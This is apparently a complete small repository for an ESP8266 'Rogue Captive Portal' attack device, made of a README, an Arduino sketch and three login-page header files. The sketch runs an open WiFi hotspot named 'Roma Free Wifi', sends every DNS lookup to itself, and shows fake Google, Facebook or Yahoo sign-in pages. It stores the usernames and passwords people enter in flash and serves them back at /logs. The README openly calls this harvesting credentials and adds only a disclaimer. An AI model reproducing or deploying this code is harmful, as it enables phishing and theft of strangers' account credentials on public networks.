├── .gitignore ├── LICENSE ├── README.md ├── RogueCaptivePortal.ino ├── facebook.h ├── google.h └── yahoo.h /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | ### C++ ### 3 | # Prerequisites 4 | *.d 5 | 6 | # Compiled Object files 7 | *.slo 8 | *.lo 9 | *.o 10 | *.obj 11 | 12 | # Precompiled Headers 13 | *.gch 14 | *.pch 15 | 16 | # Linker files 17 | *.ilk 18 | 19 | # Debugger Files 20 | *.pdb 21 | 22 | # Compiled Dynamic libraries 23 | *.so 24 | *.dylib 25 | *.dll 26 | 27 | # Fortran module files 28 | *.mod 29 | *.smod 30 | 31 | # Compiled Static libraries 32 | *.lai 33 | *.la 34 | *.a 35 | *.lib 36 | 37 | # Executables 38 | *.exe 39 | *.out 40 | *.app 41 | 42 | ### Linux ### 43 | *~ 44 | 45 | # temporary files which can be created if a process still has a handle open of a deleted file 46 | .fuse_hidden* 47 | 48 | # KDE directory preferences 49 | .directory 50 | 51 | # Linux trash folder which might appear on any partition or disk 52 | .Trash-* 53 | 54 | # .nfs files are created when an open file is removed but is still being accessed 55 | .nfs* 56 | 57 | ### macOS ### 58 | # General 59 | .DS_Store 60 | .AppleDouble 61 | .LSOverride 62 | 63 | # Icon must end with two \r 64 | Icon 65 | 66 | 67 | # Thumbnails 68 | ._* 69 | 70 | # Files that might appear in the root of a volume 71 | .DocumentRevisions-V100 72 | .fseventsd 73 | .Spotlight-V100 74 | .TemporaryItems 75 | .Trashes 76 | .VolumeIcon.icns 77 | .com.apple.timemachine.donotpresent 78 | 79 | # Directories potentially created on remote AFP share 80 | .AppleDB 81 | .AppleDesktop 82 | Network Trash Folder 83 | Temporary Items 84 | .apdisk 85 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Giammarco R. Casanova 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rouge Access Portal 2 | ## Disclamer 3 | The misuse of this software can result in criminal activities. The author(s) will not be held responsible for its abuse. 4 | 5 | ## Functions 6 | A captive portal able to intercept DNS look-ups and give out a login interface according to the URL. Currently it implements Google, Facebook and Yahoo login masks but can be extended. Google sign-in template is the default one.
7 | When the user connects for the first time from a smartphone, a login portal pops up asking to perform the signin in order to start browsing and, after the data is sent, an error is retrieved.
8 | Login data is then stored in the flash memory of the ESP8266 and can be seen visiting anydomain.com/logs
9 | The built-in LED will blink 10 times to confirm successful start-up and 5 times when a user logs in. 10 | 11 | ## Usage 12 | Simply install the sketch using the Arduino IDE on a ESP8266 compatible board, use the correct SPIFFS setup and LED pin. No extra hardware is needed.
13 | You can set up a catch all captive portal plus three single websites to hack so that if the user goes to the website, a fake page will be presented to harvest credentials. In the main file there are all the configurations, namely the WiFi public SSID and captive portal page. 14 | 15 | I use it with a power bank, choosing a smaller board and a micro LiPo battery it can be made even more portable.
16 | 17 | ![ESP8266 with a power bank](https://image.ibb.co/bwiWuo/IMG_2368.jpg) 18 | 19 | ## Credits 20 | Based on the *ESPortal project* by Corey Harding www.legacysecuritygroup.com
21 | I kept the license on as most of the code is theirs. 22 | -------------------------------------------------------------------------------- /RogueCaptivePortal.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * Original by Corey Harding, edited by G. R. Casanova 3 | * www.legacysecuritygroup.com 4 | * Configure access point name and up to 3 custom domains and login urls in config.h 5 | * Configure the html for login page of said domains in site1.h, site2.h, and site3.h 6 | * Configure the html for any other domain(catch-all) in site_other.h 7 | * This is only a proof-of-concept. I am not responsible for your actions. 8 | * Obey all local, state, federal, and international laws! 9 | */ 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include "google.h" 17 | #include "facebook.h" 18 | #include "yahoo.h" 19 | 20 | #define LOGFILE "/log.txt" 21 | 22 | /* 23 | ************************* 24 | * ACCESS POINT SSID 25 | * *********************** 26 | */ 27 | const char *ssid="Roma Free Wifi"; 28 | 29 | /* 30 | ************************* 31 | * LOGIN CAPTURE PAGE 32 | * *********************** 33 | */ 34 | // Can be Google, Facebook or Yahoo 35 | #define captivePortalPage GOOGLE_HTML 36 | // GOOGLE_HTML, FACEBOOK_HTML, YAHOO_HTML 37 | 38 | // Basic configuration using common network setups (usual DNS port, IP and web server port) 39 | const byte DNS_PORT = 53; 40 | IPAddress apIP(192, 168, 4, 1); 41 | IPAddress netMsk(255, 255, 255, 0); 42 | DNSServer dnsServer; 43 | ESP8266WebServer webServer(80); 44 | 45 | // Buffer strings 46 | String webString=""; 47 | String serialString=""; 48 | 49 | // Blink the builtin LED n times 50 | void blink(int n) 51 | { 52 | for(int i = 0; i < n; i++) 53 | { 54 | digitalWrite(LED_BUILTIN, LOW); 55 | delay(250); 56 | digitalWrite(LED_BUILTIN, HIGH); 57 | delay(250); 58 | } 59 | } 60 | 61 | void setup() { 62 | //Start Serial communication 63 | Serial.begin(9600); 64 | Serial.println(); 65 | Serial.println("V2.0.0 - Rouge Captive Portal Attack Device"); 66 | Serial.println(); 67 | 68 | // LED setup 69 | pinMode(LED_BUILTIN, OUTPUT); 70 | digitalWrite(LED_BUILTIN, HIGH); 71 | 72 | // Initialize file system (SPIFFS) and read the log file, if not present create a new one 73 | Serial.print("Initializing File System (First time can take around 90 seconds)..."); 74 | SPIFFS.begin(); 75 | Serial.println(" Success!"); 76 | Serial.print("Checking for log.txt file..."); 77 | // this opens the file "log.txt" in read-mode 78 | File f = SPIFFS.open(LOGFILE, "r"); 79 | 80 | if (!f) { 81 | Serial.print(" File doesn't exist yet. \nFormatting and creating it..."); 82 | SPIFFS.format(); 83 | // open the file in write mode 84 | File f = SPIFFS.open(LOGFILE, "w"); 85 | if (!f) { 86 | Serial.println("File creation failed!"); 87 | } 88 | f.println("Captured Login Credentials:"); 89 | } 90 | f.close(); 91 | Serial.println(" Success!"); 92 | 93 | // Create Access Point 94 | Serial.print("Creating Access Point..."); 95 | WiFi.setOutputPower(20.5); // max output power 96 | WiFi.mode(WIFI_AP); 97 | WiFi.softAPConfig(apIP, apIP, netMsk); 98 | WiFi.softAP(ssid); 99 | delay(500); 100 | Serial.println(" Success!"); 101 | 102 | // Start DNS Server 103 | Serial.print("Starting DNS Server..."); 104 | dnsServer.setErrorReplyCode(DNSReplyCode::NoError); 105 | dnsServer.start(DNS_PORT, "*", apIP); 106 | Serial.println(" Success!"); 107 | 108 | // Check domain name and refresh page 109 | webServer.on("/", handleRoot); 110 | webServer.on("/generate_204", handleRoot); //Android captive portal. Maybe not needed. Might be handled by notFound handler. 111 | webServer.on("/fwlink", handleRoot); //Microsoft captive portal. Maybe not needed. Might be handled by notFound handler. 112 | webServer.onNotFound(handleRoot); 113 | 114 | // Validate and save USER/PASS combinations 115 | webServer.on("/validate", []() { 116 | // store harvested credentials 117 | String url = webServer.arg("url"); 118 | String user = webServer.arg("user"); 119 | String pass = webServer.arg("pass"); 120 | 121 | // Sending data to Serial (DEBUG) 122 | serialString = user+":"+pass; 123 | Serial.println(serialString); 124 | 125 | // Append data to log file 126 | File f = SPIFFS.open(LOGFILE, "a"); 127 | f.print(url); 128 | f.print(":"); 129 | f.print(user); 130 | f.print(":"); 131 | f.println(pass); 132 | f.close(); 133 | 134 | // Send an error response to the user after credential harvesting 135 | webString = "

#E701 - Router Configuration Error

"; 136 | webServer.send(500, "text/html", webString); 137 | 138 | // Reset buffer strings 139 | serialString=""; 140 | webString=""; 141 | 142 | blink(5); 143 | }); 144 | 145 | // Logging Page 146 | webServer.on("/logs", [](){ 147 | webString="

Captured Logs


";
148 |     File f = SPIFFS.open(LOGFILE, "r");
149 |     serialString = f.readString();
150 |     webString += serialString;
151 |     f.close();
152 |     webString += "

Clear all logs"; 153 | webServer.send(200, "text/html", webString); 154 | Serial.println(serialString); 155 | serialString=""; 156 | webString=""; 157 | }); 158 | 159 | // Clear all logs 160 | webServer.on("/logs/clear", [](){ 161 | webString="

All logs cleared


<- BACK TO INDEX"; 162 | File f = SPIFFS.open(LOGFILE, "w"); 163 | f.println("Captured Login Credentials:"); 164 | f.close(); 165 | webServer.send(200, "text/html", webString); 166 | Serial.println(serialString); 167 | serialString=""; 168 | webString=""; 169 | }); 170 | 171 | // Start Webserver 172 | Serial.print("Starting Web Server..."); 173 | webServer.begin(); 174 | Serial.println(" Success!"); 175 | 176 | blink(10); 177 | 178 | Serial.println("Device Ready!"); 179 | } 180 | 181 | void loop() { 182 | dnsServer.processNextRequest(); 183 | webServer.handleClient(); 184 | } 185 | 186 | void handleRoot() { 187 | webServer.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); 188 | webServer.sendHeader("Pragma", "no-cache"); 189 | webServer.sendHeader("Expires", "-1"); 190 | 191 | webServer.send(200, "text/html", captivePortalPage); 192 | } 193 | -------------------------------------------------------------------------------- /facebook.h: -------------------------------------------------------------------------------- 1 | const char FACEBOOK_HTML[] = R"=====( 2 | 3 | 4 | 5 | 6 | Public WiFi Access - Facebook Login 7 | 8 | 9 | 11 | 12 | 13 | 150 | 151 | 152 | 153 | 154 | 171 | 172 | 173 | 174 | 175 | )====="; 176 | -------------------------------------------------------------------------------- /google.h: -------------------------------------------------------------------------------- 1 | const char GOOGLE_HTML[] = R"=====( 2 | 3 | 4 | Public WiFi Access - Google Login 5 | 6 | 7 | 9 | 10 | 156 | 157 | 158 | 159 | 167 | 180 | 181 | 182 | 183 | )====="; 184 | -------------------------------------------------------------------------------- /yahoo.h: -------------------------------------------------------------------------------- 1 | const char YAHOO_HTML[] = R"=====( 2 | 3 | 4 | 5 | 6 | 7 | Public WiFi Access - Yahoo Login 8 | 9 | 10 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 62 | 63 | 76 | 77 | 114 | 115 | 359 | 360 | 361 | 362 | 363 | 364 |
365 | 390 |
391 | 392 | 393 | 394 | 395 | )====="; 396 | --------------------------------------------------------------------------------